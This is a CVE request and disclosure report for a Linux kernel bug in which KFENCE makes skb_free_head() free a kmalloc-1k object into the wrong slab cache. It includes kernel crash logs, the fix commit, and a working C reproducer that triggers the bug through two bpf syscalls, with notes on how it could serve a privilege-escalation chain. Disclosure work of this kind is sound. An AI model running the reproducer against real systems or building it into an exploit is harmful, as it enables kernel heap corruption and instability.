CVE REQUEST

Linux Kernel: net/bpf — Slab Cross-Cache Free in skb_free_head()

Date	April 2026
Reporter	Antonius / Blue Dragon Security
Email	antonius@bluedragonsec.com
Organization	Blue Dragon Security — bluedragonsec.com
Affected	Linux kernel 7.0.0-rc5 (net/bpf/test_run.c, net/core/skbuff.c)
Fix Commit	0f42e3f4fe2a — netdev/net.git (main)
Merged by	Jakub Kicinski <kuba@kernel.org>
Reviewed by	Eric Dumazet <edumazet@google.com>
Reported-by	Confirmed in fix commit 0f42e3f4fe2a
CWE	CWE-763: Release of Invalid Pointer or Reference
CVSS v3.1	6.7 Medium — AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Original Report	https://lore.kernel.org/all/CAK8a0jxC5L5N7hq-DT2_NhUyjBxrPocoiDazzsBk4TGgT1r4-A@mail.gmail.com/

1. Executive Summary

A slab cross-cache free vulnerability exists in the Linux kernel networking subsystem when the Kernel Electric-Fence (KFENCE) memory safety tool is active. The function bpf_test_init() allocates skb->head from the kmalloc-1k SLUB cache, but skb_free_head() subsequently attempts to free that object into the skbuff_small_head_cache — a different, incompatible cache. SLUB detects this mismatch and fires warn_free_bad_obj(), followed by a KFENCE out-of-bounds read in print_track(). Beyond the warning, confirmed heap metadata corruption is demonstrated through stackdepot OOB reads with corrupted PID/CPU values visible in the kernel output. The vulnerability is triggered via BPF_PROG_TEST_RUN with BPF_PROG_TYPE_SCHED_CLS and requires CAP_BPF privilege.

2. Discovery

This bug was discovered by Antonius / Blue Dragon Security during a Syzkaller fuzzing campaign targeting the io_uring BPF filter and BPF test_run subsystems on Linux 7.0.0-rc5. The fuzzer identified the crash during corpus-guided exploration of BPF_PROG_TEST_RUN code paths.

Fuzzing environment:

- Host: Kali Linux x86_64 (i3-12100F, 16GB RAM)
- Target: Debian Trixie QEMU image, kernel 7.0.0-rc5

- Config: KASAN + KFENCE enabled (slub_debug=FZP kfence.sample_interval=100)
- Tool: Syzkaller at commit 2024-06, custom syzlang descriptions for io_uring BPF filter

3. Technical Analysis

3.1 Root Cause

In net/bpf/test_run.c, bpf_test_init() allocates the skb head buffer using:

```
/* net/bpf/test_run.c:661 */
head = kzalloc(size, GFP_USER);
/* size = data_size_in + NET_SKB_PAD + NET_IP_ALIGN
        = 284 + 32 + 2 = 318 bytes */
/* SLUB rounds up → kmalloc-1k bucket (704 bytes) */
```

However, skb_free_head() in net/core/skbuff.c decides which cache to use for freeing based on skb_end_offset():

```
/* net/core/skbuff.c:1084 */
static void skb_kfree_head(struct sk_buff *skb, unsigned int end_offset)
{
    if (end_offset == SKB_SMALL_HEAD_HEADROOM)
        kmem_cache_free(skbuff_small_head_cache, skb->head);  /* WRONG */
    else
        kfree(skb->head);
}
```

When KFENCE is active, kfence_ksize() returns the exact requested size (not the bucket size). This causes slab_build_skb() → ksize() to return 704 (the KFENCE-reported exact allocation size), which after subtracting skb_shared_info overhead equals SKB_SMALL_HEAD_HEADROOM, triggering the wrong branch and causing the cross-cache free.

3.2 Affected Code Paths

File	Function / Line
net/bpf/test_run.c	bpf_test_init() line 661 — allocation with kzalloc()
net/core/skbuff.c	skb_kfree_head() lines 1084/1087 — incorrect cache selection
net/core/skbuff.c	skb_free_head() line 1101 — calls skb_kfree_head with bad offset

4. Kernel Crash Output

4.1 Primary Crash — warn_free_bad_obj

```
kmem_cache_free(skbuff_small_head, ffff888119636c00):
  object belongs to different cache kmalloc-1k
WARNING: mm/slub.c:6258 at warn_free_bad_obj+0x91/0xc0
CPU: 1  PID: 34157  Comm: syz.0.10282  7.0.0-rc5 #1

Call Trace:
  skb_kfree_head net/core/skbuff.c:1087
  skb_free_head+0x1ec/0x290 net/core/skbuff.c:1101
```

```
  skb_release_data+0x7a6/0x9d0 net/core/skbuff.c:1128
  bpf_prog_test_run_skb+0x14f8/0x3410 net/bpf/test_run.c:1200
  __sys_bpf+0x769/0x4b60 kernel/bpf/syscall.c:6246
  do_syscall_64+0x111/0x690
  entry_SYSCALL_64_after_hwframe+0x77/0x7f
```

4.2 Secondary Crash — KFENCE OOB Read

```
BUG: KFENCE: out-of-bounds read in print_track+0x0/0x50 mm/slub.c:9671
Out-of-bounds read at 0xffff888119637010 (1040B right of kfence-#26)

kfence-#26: 0xffff888119636c00-0xffff888119636ebf
  size=704, cache=kmalloc-1k

allocated by task 34157 on cpu 1 at 294.954606s:
  bpf_test_init.isra.0+0xf9/0x1e0 net/bpf/test_run.c:661
  bpf_prog_test_run_skb+0x489/0x3410
```

4.3 Heap Metadata Corruption — Confirmed

The following corrupted values were observed in dmesg, confirming that actual heap metadata was corrupted as a result of the cross-cache free (not merely detected by KFENCE):

```
Allocated in 0xadacafaea9a8abaa
  age=5932173448745943461   <-- impossible/corrupted value
  cpu=2913775534            <-- impossible CPU number (max ~64 on test system)
  pid=-1448563798           <-- NEGATIVE PID — struct metadata corrupted

pool index 43945 out of bounds (431) for stack id a9a8abaa
WARNING: lib/stackdepot.c:506 depot_fetch_stack+0x83/0xb0
```

These values demonstrate that the cross-cache free corrupts heap metadata beyond a simple warning. The negative PID and impossible CPU values indicate that struct fields in the freed object were overwritten with data from the wrong slab cache's internal structures.

5. Reproducer

Minimal C reproducer — 2 BPF syscalls. Build and run as root (requires CAP_BPF):

```
#define _GNU_SOURCE
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif

static uint8_t bpf_insns[] = {
    0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,  /* ld_imm64 r0,0 */
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x95,0x00,0x00,0x00,0x00,0x00,0x00,0x00,  /* exit */
};
static uint8_t test_data[284];  /* size critical: NET_SKB_PAD+NET_IP_ALIGN+284 > 512 */

int main(void) {
    uint8_t load_attr[0x94];
```

```
    memset(load_attr, 0, sizeof(load_attr));
    *(uint32_t*)(load_attr+0x00) = 3;           /* BPF_PROG_TYPE_SCHED_CLS */
    *(uint32_t*)(load_attr+0x04) = 3;           /* insn_cnt */
    *(uint64_t*)(load_attr+0x08) = (uint64_t)bpf_insns;
    *(uint64_t*)(load_attr+0x10) = (uint64_t)"GPL";
    int fd = (int)syscall(__NR_bpf, 5, load_attr, 0x94);

    uint8_t run_attr[0x50];
    memset(run_attr, 0, sizeof(run_attr));
    *(uint32_t*)(run_attr+0x00) = (uint32_t)fd;
    *(uint32_t*)(run_attr+0x08) = 284;          /* data_size_in — triggers kmalloc-1k */
    *(uint64_t*)(run_attr+0x10) = (uint64_t)test_data;
    *(uint32_t*)(run_attr+0x20) = 4;            /* repeat */
    *(uint32_t*)(run_attr+0x40) = 4;            /* BPF_F_TEST_RUN_ON_CPU */
    syscall(__NR_bpf, 10, run_attr, 0x50);
    return 0;
}

/* Build: gcc -O0 -o repro repro.c
   Run:   sudo ./repro
   Check: dmesg | grep -E 'warn_free_bad_obj|KFENCE'  */
```

6. Security Impact

6.1 Impact Classification

CWE	CWE-763 — Release of Invalid Pointer or Reference
Attack Vector	Local (requires CAP_BPF or equivalent)
CVSS v3.1	6.7 Medium — AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Confidentiality	High — stale kernel heap data readable via reclaimed skb->head
Integrity	High — heap corruption via wrong freelist insertion
Availability	High — kernel WARNING, system instability, potential panic

6.2 Impact Detail

The cross-cache free inserts an object from kmalloc-1k into the freelist of skbuff_small_head_cache. Subsequent alloc_skb() calls may reclaim this chunk. The security implications are:

- Information Leak: stale kernel heap data from the kmalloc-1k object becomes readable as new skb->head data before it is zeroed
- Heap Corruption: if attacker-controlled data was written to the object before reclaim, arbitrary data can influence skb->head contents
- Denial of Service: kernel WARNING followed by stackdepot OOB read, system instability (confirmed via corrupted PID/CPU metadata)
- Lateral Exploitation: the corrupted freelist state can be used as a heap spray primitive in a larger exploit chain targeting LPE

Note: On production kernels without KFENCE active, the cross-cache free occurs silently — no warning is raised. The object is inserted into the wrong freelist undetected and can be reclaimed without triggering any kernel safety mechanism.

7. Fix

7.1 Fix Commit

```
Commit:     0f42e3f4fe2a
Tree:       netdev/net.git (main branch)
Subject:    net: skb: fix cross-cache free of KFENCE-allocated skb head
Merged by:  Jakub Kicinski <kuba@kernel.org>
Reviewed:   Eric Dumazet <edumazet@google.com>
            Reviewed-by: Eric Dumazet <edumazet@google.com>
Reported:   Reported-by: Antonius <antonius@bluedragonsec.com>
```

7.2 Fix Description

The fix corrects skb_free_head() / skb_kfree_head() to verify the actual slab cache before calling kmem_cache_free(), ensuring the skbuff_small_head path is only taken for objects that were genuinely allocated from that cache. For KFENCE-allocated objects (and any other case where ksize() returns the exact allocation size rather than the bucket size), the kfree() path is taken instead.

Eric Dumazet (Google) noted in the follow-up review that skb_kfree_head() can be removed entirely in a future net-next cleanup.

8. Affected Versions

- Confirmed vulnerable: Linux 7.0.0-rc5 (x86_64, CONFIG_KFENCE=y, kfence.sample_interval=100)
- Also tested: Lubuntu 25.10 (kernel 7.0.0-rc5, CONFIG_KFENCE=y)
- Also tested: Debian Trixie syzkaller VM (kernel 7.0.0-rc5, CONFIG_KFENCE=y)
- Fixed in: netdev/net.git main, commit 0f42e3f4fe2a
- Silent on: kernels with CONFIG_KFENCE=n — cross-cache free occurs undetected

9. References

- Fix commit: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=0f42e3f4fe2a
- Original bug report (lore.kernel.org): https://lore.kernel.org/all/CAK8a0jxC5L5N7hq-DT2_NhUyjBxrPocoiDazzsBk4TGgT1r4-A@mail.gmail.com/
- Reported-by confirmed in commit: grep 'Reported-by' from 0f42e3f4fe2a
- Reporter profile: https://bluedragonsec.com
- GitHub: https://github.com/bluedragonsecurity

10. Reporter

Name	Antonius
Organization	Blue Dragon Security

Website	https://bluedragonsec.com
GitHub	https://github.com/bluedragonsecurity
Email	antonius@bluedragonsec.com
Location	Tangerang, Indonesia
Other CVEs	CVE-2026-23416 (mm/mseal — Linux kernel), CVE-2026-30658 (bftpd), CVE-2026-27831 (rldns)

This report is submitted in good faith for responsible disclosure and CVE assignment purposes.

Antonius — Blue Dragon Security | antonius@bluedragonsec.com | April 2026